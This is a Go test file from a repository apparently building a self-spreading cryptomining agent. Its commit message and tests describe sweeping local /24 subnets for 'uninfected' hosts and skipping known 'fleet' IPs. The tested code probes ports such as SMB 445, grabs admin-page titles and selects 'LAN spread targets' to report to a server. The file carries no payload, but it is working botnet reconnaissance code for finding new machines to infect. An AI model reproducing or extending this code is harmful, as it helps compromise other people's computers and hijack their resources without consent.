Files
AetherForge/agent/deploy/subnet_recon_test.go
AetherForge 283b1950ff
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
2026-06-07 11:39:25 -07:00

108 lines
3.1 KiB
Go

package deploy
import (
"testing"
)
func TestRunSubnetReconSkipsFleetAndLocalIPs(t *testing.T) {
prevProbe := probePortsFn
defer func() { probePortsFn = prevProbe }()
probePortsFn = func(host string, ports []int) []int {
if host == "10.0.0.50" || host == "10.0.0.99" {
return []int{445}
}
return nil
}
hosts := runSubnetReconTargets("agent-1", []string{"10.0.0.50"}, []string{"10.0.0.50"})
if len(hosts) != 0 {
t.Fatalf("expected fleet IP to be skipped, got %+v", hosts)
}
hosts = runSubnetReconTargets("agent-1", nil, []string{"10.0.0.99"})
if len(hosts) != 1 || hosts[0].IP != "10.0.0.99" {
t.Fatalf("expected uninfected host report, got %+v", hosts)
}
}
func TestRunSubnetReconReportsUninfectedHost(t *testing.T) {
prevProbe := probePortsFn
prevTitle := fetchHTTPTitleFn
defer func() {
probePortsFn = prevProbe
fetchHTTPTitleFn = prevTitle
}()
probePortsFn = func(host string, ports []int) []int {
if host == "192.168.5.20" {
return []int{22, 80}
}
return nil
}
fetchHTTPTitleFn = func(host string, port int) string {
if host == "192.168.5.20" && port == 80 {
return "Router Admin"
}
return ""
}
hosts := runSubnetReconTargets("reporter-7", nil, []string{"192.168.5.20"})
if len(hosts) != 1 {
t.Fatalf("hosts=%+v", hosts)
}
h := hosts[0]
if h.IP != "192.168.5.20" || h.ReporterAgentID != "reporter-7" || h.Status != subnetReconStatusUninfected {
t.Fatalf("unexpected host: %+v", h)
}
if len(h.OpenPorts) != 2 || h.OpenPorts[0] != 22 || h.OpenPorts[1] != 80 {
t.Fatalf("open_ports=%v", h.OpenPorts)
}
if h.HTTPTitle != "Router Admin" {
t.Fatalf("http_title=%q", h.HTTPTitle)
}
if h.LastSeen == "" {
t.Fatal("expected last_seen timestamp")
}
}
func TestRunSubnetReconIgnoresHostsWithNoOpenPorts(t *testing.T) {
prevProbe := probePortsFn
defer func() { probePortsFn = prevProbe }()
probePortsFn = func(host string, ports []int) []int { return nil }
hosts := runSubnetReconTargets("agent-1", nil, []string{"10.0.0.10", "10.0.0.11"})
if len(hosts) != 0 {
t.Fatalf("expected no hosts, got %+v", hosts)
}
}
func TestParseHTTPTitle(t *testing.T) {
body := "<html><head><title> NAS Panel </title></head></html>"
got := ParseHTTPTitleForTest(body)
if got != "NAS Panel" {
t.Fatalf("got %q", got)
}
}
func TestUpdateSubnetReconPolicyIntervalDefault(t *testing.T) {
ResetSubnetReconForTest()
UpdateSubnetReconPolicy(true, 0, "agent-a", []string{"10.0.0.1"})
enabled, interval, agentID, fleetIPs := subnetReconPolicySnapshot()
if !enabled || interval != DefaultSubnetReconIntervalMin || agentID != "agent-a" {
t.Fatalf("enabled=%v interval=%d agent=%q", enabled, interval, agentID)
}
if len(fleetIPs) != 1 || fleetIPs[0] != "10.0.0.1" {
t.Fatalf("fleetIPs=%v", fleetIPs)
}
}
func TestDiscoverLANSpreadTargetsRespectsReconCap(t *testing.T) {
prevProbe := probePortsFn
defer func() { probePortsFn = prevProbe }()
probePortsFn = func(host string, ports []int) []int { return nil }
targets := DiscoverLANSpreadTargets(999)
if len(targets) > MaxSubnetScanHosts {
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
}
}